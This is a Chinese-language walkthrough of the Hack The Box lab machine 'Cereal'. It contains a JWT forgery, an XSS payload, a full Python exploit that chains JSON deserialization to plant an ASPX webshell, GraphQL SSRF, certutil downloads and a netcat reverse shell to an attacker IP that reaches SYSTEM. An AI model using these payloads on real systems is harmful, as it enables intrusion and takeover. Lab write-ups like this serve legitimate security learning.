端口扫描

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 16:42 CST
Nmap scan report for 10.10.10.217
Host is up (0.088s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds
┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ sudo nmap -sT -sC -sV -O -p22,80,443 10.10.10.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 16:42 CST
Nmap scan report for 10.10.10.217
Host is up (0.075s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
| 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
|_ssl-date: 2024-09-29T02:55:08+00:00; -5h48m11s from scanner time.
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after: 2040-11-11T20:07:19
| tls-alpn:
|_ http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -5h48m11s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds

添加hosts

JWTtoken

访问80端口,会自动跳转到443的服务,一个登录框,向一个验证接口发送信息返回验证。不是很好利用。

访问source.cereal.htb,弹出了一个报错,请求资源编译无效,另外得到了绝对路径c:\inetpub\source\default.aspx

扫描一下目录吧,得到一个uploads目录,一个.git泄露

┌──(mikannse㉿kali)-[~/tools/web/GitTools/Dumper]
└─$ ./gitdumper.sh https://source.cereal.htb/.git/ ~/HTB/Cereal/repo
┌──(mikannse㉿kali)-[~/tools/web/GitTools/Extractor]
└─$ ./extractor.sh ~/HTB/Cereal/repo ~/HTB/Cereal/repo_

看起来像是cereal.htb站点的源码,在Controller中找到了验证用户的代码:

UsersController.cs

using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Authorization;
using System.Linq;
using Cereal.Models;
using Cereal.Services;

namespace Cereal.Controllers
{
[Authorize]
[ApiController]
[Route("[controller]")]
public class UsersController : ControllerBase
{
private IUserService _userService;

public UsersController(IUserService userService)
{
_userService = userService;
}

[AllowAnonymous]
[HttpPost("authenticate")]
public IActionResult Authenticate([FromBody]AuthenticateModel model)
{
var user = _userService.Authenticate(model.Username, model.Password);

if (user == null)
return BadRequest(new { message = "Username or password is incorrect" });

return Ok(user);
}
}
}

public UsersController(IUserService userService):这是构造函数,它接收一个实现了IUserService接口的对象作为参数,并将其赋值给私有字段_userService

并且接受一个名为model的对象,该对象是从请求体中反序列化得到的

查看UserSerices.cs

using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using Microsoft.Extensions.Options;
using Microsoft.IdentityModel.Tokens;
using Cereal.Models;
using Cereal.Helpers;

namespace Cereal.Services
{
public interface IUserService
{
User Authenticate(string username, string password);
}

public class UserService : IUserService
{
public User Authenticate(string username, string password)
{
using (var db = new CerealContext())
{
var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();

// return null if user not found
if (user == null)
return null;

// authentication successful so generate jwt token
var tokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes("****");
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[]
{
new Claim(ClaimTypes.Name, user.UserId.ToString())
}),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
};
var token = tokenHandler.CreateToken(tokenDescriptor);
user.Token = tokenHandler.WriteToken(token);

return user.WithoutPassword();
}
}
}
}

主要是从数据库中做一个用户验证,如果生成成功会返回一个JWTToken,但是发现这里的密钥是硬编码的,那么尝试在其他记录中查看,在2开头的记录中找到:secretlhfIH&FY*#oysuflkhskjfhefesf

那么能够手动伪造jwttoken

using System;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using System.Text;
using Microsoft.IdentityModel.Tokens;

public class Generate
{
public static void Main(string[] args)
{
var tokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[]
{
new Claim(ClaimTypes.Name, "1")
}),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(
new SymmetricSecurityKey(key),
SecurityAlgorithms.HmacSha256Signature)
};

var token = tokenHandler.CreateToken(tokenDescriptor);
var jwt = tokenHandler.WriteToken(token);
Console.WriteLine(jwt);
}
}

运行结果:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3Mjc1ODY5MDcsImV4cCI6MTcyODE5MTcwNywiaWF0IjoxNzI3NTg2OTA3fQ.QVdu4QqRkH_HtXmaYZKGNxJyEJPZ1pVuHQMsEwJRr_M

解码:

{
"unique_name": "1",
"nbf": 1727586907,
"exp": 1728191707,
"iat": 1727586907
}

在Clientapp中能找到登录的信息:

function login(username, password) {
const requestOptions = {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
};

return fetch('/users/authenticate', requestOptions)
.then(handleResponse)
.then(user => {
// store user details and jwt token in local storage to keep user logged in between page refreshes
localStorage.setItem('currentUser', JSON.stringify(user));
currentUserSubject.next(user);

return user;
});
}

将用户的登录信息存储在localStorage,算是在客户端的一个存储少量数据的地方

在Modules中能找到用户模型:

using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Threading.Tasks;

namespace Cereal.Models
{
public class User
{
[Key]
public int UserId { get; set; }
[Required]
public string Username { get; set; }
[Required]
public string Password { get; set; }
public string Token { get; set; }
}
}

那就能伪造localStorage了

添加currentUser的键值对

{"userid" : "1", "username" : "admin", "token" :
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3Mjc1ODY5MDcsImV4cCI6MTcyODE5MTcwNywiaWF0IjoxNzI3NTg2OTA3fQ.QVdu4QqRkH_HtXmaYZKGNxJyEJPZ1pVuHQMsEwJRr_M"}

刷新之后,来到了新的界面,选择一些东西,然后发送,可以看到是发送到requests控制器

XSS+JSON反序列化

RequestsController.cs

using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Authorization;
using System.Linq;
using Cereal.Models;
using Cereal.Services;
using Newtonsoft.Json;
using System;

namespace Cereal.Controllers
{
[Authorize]
[ApiController]
[Route("[controller]")]
public class RequestsController : ControllerBase
{
[HttpPost]
public IActionResult Create([FromBody]Request request)
{
using (var db = new CerealContext())
{
try
{
db.Add(request);
db.SaveChanges();
} catch {
return BadRequest(new { message = "Invalid request" });
}
}

return Ok(new { message = "Great cereal request!", id = request.RequestId});
}

[Authorize(Policy = "RestrictIP")]
[HttpGet("{id}")]
public IActionResult Get(int id)
{
using (var db = new CerealContext())
{
string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
// Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
{
return BadRequest(new { message = "The cereal police have been dispatched." });
}
var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return Ok(cereal.ToString());
}
}

[Authorize(Policy = "RestrictIP")]
[HttpGet]
public IActionResult GetAll()
{
using (var db = new CerealContext())
{
try
{
return Ok(db.Requests.ToArray());
}
catch
{
return BadRequest(new { message = "Invalid request" });
}
}
}

[Authorize(Policy = "RestrictIP")]
[HttpDelete("{id}")]
public IActionResult Delete(int id)
{
using (var db = new CerealContext())
{
try
{
db.Requests.Remove(db.Requests.Where(x => x.RequestId == id).SingleOrDefault());
db.SaveChanges();
return Ok();
}
catch
{
return BadRequest(new { message = "Invalid request" });
}
}
}

[Authorize(Policy = "RestrictIP")]
[HttpDelete]
public IActionResult DeleteAll()
{
using (var db = new CerealContext())
{
try
{
db.Requests.RemoveRange(db.Requests.ToList());
db.SaveChanges();
return Ok();
}
catch
{
return BadRequest(new { message = "Invalid request" });
}
}
}
}
}

大概说就是将请求的json数据进行反序列化然后保存在数据库,并且可以通过ID访问数据库但是有授权策略,有限定IP,在appsettings.json能找到

{
"Logging": {
"LogLevel": {
"Default": "Warning"
}
},
"AllowedHosts": "*",
"ApplicationOptions": {
"Whitelist": [ "127.0.0.1", "::1" ]
},
"IpRateLimiting": {
"EnableEndpointRateLimiting": true,
"StackBlockedRequests": false,
"RealIpHeader": "X-Real-IP",
"ClientIdHeader": "X-ClientId",
"HttpStatusCode": 429,
"IpWhitelist": [ "127.0.0.1", "::1" ],
"EndpointWhitelist": [],
"ClientWhitelist": [],
"GeneralRules": [
{
"Endpoint": "*:/requests/post",
"Period": "1m",
"Limit": 1
},
{
"Endpoint": "*",
"Period": "5m",
"Limit": 150
}
]
}
}

限制了要127.0.0.1访问

在ClientApp中的adminpage中,是一个react应用,但是其中导入的markdown包react-marked-markdown存在着XSS漏洞,参考 https://github.com/advisories/GHSA-m7qm-r2r5-f77q

似乎所有的对requests的请求都会发往这里,那么利用:

[XSS](javascript: document.write`<img src='http://10.10.14.29/1'/>`)

插入title,然后发送请求,过了一会儿后,web服务器接收到了请求,但是并不能有将进一步的利用

发现在主界面还有一个DownloaderHelper.cs

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Threading.Tasks;

namespace Cereal
{
public class DownloadHelper
{
private String _URL;
private String _FilePath;
public String URL
{
get { return _URL; }
set
{
_URL = value;
Download();
}
}
public String FilePath
{
get { return _FilePath; }
set
{
_FilePath = value;
Download();
}
}
private void Download()
{
using (WebClient wc = new WebClient())
{
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
{
wc.DownloadFile(_URL, _FilePath);
}
}
}
}
}

是一个用来下载的类,并且能够指定保存的地方

那么综上,整理一条进攻路径:可以请求创建一个恶意的json序列化的Downloaderhelper对象,会存储在数据库上,然后通过XSS来访问进行反序列化,下载恶意文件到source那个页面,因为知道绝对路径

贴一个大佬的现成的exp

#!/usr/bin/env python3

import jwt
import requests
import sys
from datetime import datetime, timedelta
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


# Get args
try:
target = sys.argv[1]
url = sys.argv[2]
saveas = sys.argv[3]
except IndexError:
print(f'Usage: {sys.argv[0]} [target ip/domain] [url to upload] [filename on target]')
sys.exit()


# Forge JWT
print('[*] Forging JWT token')
token = jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256")
headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}

# Send DownloadHelper object as JSON
print('[*] Sending DownloadHelper serialized object')
serial_payload = {"json": "{'$type':'Cereal.DownloadHelper, Cereal','URL':'" + url + "','FilePath': 'C:\\\\inetpub\\\\source\\\\uploads\\\\" + saveas + "'}"}
resp = requests.post(f'https://{target}/requests', json=serial_payload, headers=headers, verify=False)
if resp.status_code != 200:
print(f'[-] Something went wrong: {resp.text}')
sys.exit()
serial_id = resp.json()['id']
print(f'[+] Object uploaded: {resp.text}')

# Send XSS payload
print('[*] Sending XSS payload')

xss_payload = {"json":"{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://"+ target + "/requests/" + str(serial_id)+"', true%29;xhr.setRequestHeader%28'Authorization','Bearer "+token+"'%29;xhr.send%28null%29</script>%22%29)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test\"}"}
resp = requests.post(f'https://{target}/requests', json=xss_payload, headers=headers, verify=False)
if resp.status_code != 200:
print('[-] Something went wrong: {resp.text}')
sys.exit()
print(f'[+] XSS payload sent: {resp.text}')

开启web服务器,使用aspx的webshell

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ cp /usr/share/webshells/aspx/cmdasp.aspx .

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

运行:

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ python at.py cereal.htb http://10.10.14.29:8000/cmd.aspx shell.aspx
[*] Forging JWT token
/home/mikannse/HTB/Cereal/at.py:23: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
token = jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256")
[*] Sending DownloadHelper serialized object
[+] Object uploaded: {"message":"Great cereal request!","id":14}
[*] Sending XSS payload
[+] XSS payload sent: {"message":"Great cereal request!","id":15}

过了一段时间后,收到了请求

在另一个DownloaderHelper的提交中,能找到会在上传的文件名前面加上后缀:21098374243-

所以访问: https://source.cereal.htb/uploads/21098374243-shell.aspx

进去之后先枚举一番,找到一个db文件,查看:

cmd.exe /c type C:\inetpub\cereal\db\cereal.db

可以看到是我们写入XSS的文件,底下找到了:

sonnymutual.madden.manner38974

用户名是sonny,所以猜测后面那串是密码sonny:mutual.madden.manner38974

GrahqSSRF+GenericPotato提权

有模拟令牌的权限,本可以土豆或者printspoofer一把梭,但是发现版本竟然是win10

sonny@CEREAL C:\Users\sonny\Desktop>ver 

Microsoft Windows [Version 10.0.17763.1817]

稍微查询了一下,potato攻击适用的版本如下:

Windows 7 企业版
Windows 8.1 企业版
Windows 10 企业版
Windows 10 专业版
Windows Server 2008 R2 企业版
Windows Server 2012 数据中心
Windows Server 2016 标准版
重要提示: Juicy Potato 攻击不适用于 Windows 10 版本 1809 或更高版本;并且根本不适用于 Server2019!

发现本地还开有8080端口

sonny@CEREAL C:\Users\sonny\Desktop>netstat -ano

Active Connections

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:22 0.0.0.0:0 LISTENING 1512
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 860
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8172 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 472
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 316
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1064
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 604
TCP 0.0.0.0:49677 0.0.0.0:0 LISTENING 624
TCP 10.10.10.217:22 10.10.14.29:39506 ESTABLISHED 1512
TCP 10.10.10.217:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:443 127.0.0.1:50098 ESTABLISHED 4
TCP 127.0.0.1:49668 0.0.0.0:0 LISTENING 3456
TCP 127.0.0.1:49671 0.0.0.0:0 LISTENING 3580
TCP 127.0.0.1:49671 127.0.0.1:49674 ESTABLISHED 3580
TCP 127.0.0.1:49671 127.0.0.1:49676 ESTABLISHED 3580
TCP 127.0.0.1:49671 127.0.0.1:49678 ESTABLISHED 3580
TCP 127.0.0.1:49674 127.0.0.1:49671 ESTABLISHED 3456
TCP 127.0.0.1:49676 127.0.0.1:49671 ESTABLISHED 3456
TCP 127.0.0.1:49678 127.0.0.1:49671 ESTABLISHED 3456
TCP 127.0.0.1:50098 127.0.0.1:443 ESTABLISHED 3940
TCP [::]:22 [::]:0 LISTENING 1512
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 860
TCP [::]:443 [::]:0 LISTENING 4
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:8080 [::]:0 LISTENING 4
TCP [::]:8172 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 472
TCP [::]:49665 [::]:0 LISTENING 316
TCP [::]:49666 [::]:0 LISTENING 1064
TCP [::]:49667 [::]:0 LISTENING 604
TCP [::]:49677 [::]:0 LISTENING 624
TCP [::1]:49668 [::]:0 LISTENING 3456
TCP [::1]:50095 [::1]:49668 TIME_WAIT 0
TCP [::1]:50096 [::1]:49668 TIME_WAIT 0
TCP [::1]:50097 [::1]:49668 TIME_WAIT 0
TCP [::1]:50099 [::1]:49668 TIME_WAIT 0
UDP 0.0.0.0:123 *:* 1712
UDP 0.0.0.0:5353 *:* 3580
UDP 0.0.0.0:5353 *:* 3580
UDP 10.10.10.217:137 *:* 4
UDP 10.10.10.217:138 *:* 4
UDP 127.0.0.1:49664 *:* 2368
UDP [::]:123 *:* 1712
UDP [::]:5353 *:* 3580

做一个本地端口转发

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ ssh -L 10000:127.0.0.1:8080 sonny@cereal.htb
sonny@cereal.htb's password:

又是一个web服务

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ sudo nmap -sT -sC -sV -p10000 localhost
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 22:12 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000091s latency).
Other addresses for localhost (not scanned): ::1

PORT STATE SERVICE VERSION
10000/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal System Manager
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.60 seconds

不急着看web,看一下C盘,还有一个simulation目录,看起来是用来定时清理上传目录的,还有一个simulation.exe看起来是模拟点击XSS的??inetpub目录还有一个manager,也许就是8080所开的服务

F12看到有一个对于api的请求,端点是graphql,是用于和API进行交互的。不能直接访问,JS中有写如何访问

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ curl -X POST "http://localhost:10000/api/graphql" -H 'Content-Type: application/json' -H 'Accept: application/json' -d '{ "query": "{allPlants { id, location, status } }" }'
{
"data": {
"allPlants": [
{
"id": "1",
"location": "707 Antarctic Lane",
"status": "OPERATIONAL"
},
{
"id": "2",
"location": "221b Cereal Street",
"status": "HALTED"
}
]
}
}

具体的查询语句可参考: https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-web/graphql

grahq中的一个功能叫做mutation操作类型,用于描述如何修改服务器上的数据,用于发送指令给服务器以改变数据状态

其中可以查询所有类型字段以及参数

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ curl -X POST "http://localhost:10000/api/graphql" -H 'Content-Type: application/json' -H 'Accept: application/json' -d '{ "query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}" }' |jq

其中关于mutation的部分

"name": "Mutation",
"fields": [
{
"name": "haltProduction",
"args": [
{
"name": "plantId",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Int",
"kind": "SCALAR"
}
}
}
]
},
{
"name": "resumeProduction",
"args": [
{
"name": "plantId",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Int",
"kind": "SCALAR"
}
}
}
]
},
{
"name": "updatePlant",
"args": [
{
"name": "plantId",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Int",
"kind": "SCALAR"
}
}
},
{
"name": "version",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Float",
"kind": "SCALAR"
}
}
},
{
"name": "sourceURL",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "String",
"kind": "SCALAR"

注意到这个updatePlant Mutation,他接受一个叫做sourceURL的参数,存在SSRF的可能性

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://10.10.14.29:8000/111\")}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json' -H 'Accept: application/json'
{
"data": {
"updatePlant": false
}
}

本地的Web服务器收到了请求

一个可以利用SSRF进行提权的方式是GenericPotato: https://github.com/micahvandeusen/GenericPotato

用VisualStudio编译比较方便

将potato.exe和nc.exe上传上去

sonny@CEREAL C:\Windows\Temp>certutil.exe -urlcache -split -f http://10.10.14.29:8000/GenericPotato.e
xe potato.exe
**** Online ****
000000 ...
0a6c00
CertUtil: -URLCache command completed successfully.

sonny@CEREAL C:\Windows\Temp>certutil.exe -urlcache -split -f http://10.10.14.29:8000/nc64.exe nc.exe

**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.

开启一个http服务器在8888端口,本地开启监听

sonny@CEREAL C:\Windows\Temp>.\potato.exe -p "C:\Windows\temp\nc.exe" -a "10.10.14.29 443 -e powershe
ll" -e HTTP
GenericPotato by @micahvandeusen
Modified from SweetPotato by @_EthicalChaos_

[+] Starting HTTP listener on port http://127.0.0.1:8888
[+] Listener ready

触发SSRF

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://localhost:8888\")}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json'
{
"data": {
"updatePlant": false
}
}

我们是root!

┌──(mikannse㉿kali)-[~/HTB/Cereal]
└─$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.217] 51906
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system

碎碎念

非常有趣的房间!收获很大。虽然对C#一窍不通,但还是尝试着审源码,漏洞之间的配合非常巧妙。以及对于SeImpersonation的运用有了新的理解!

贴一篇SeImpersonation的文章 https://micahvandeusen.com/the-power-of-seimpersonation/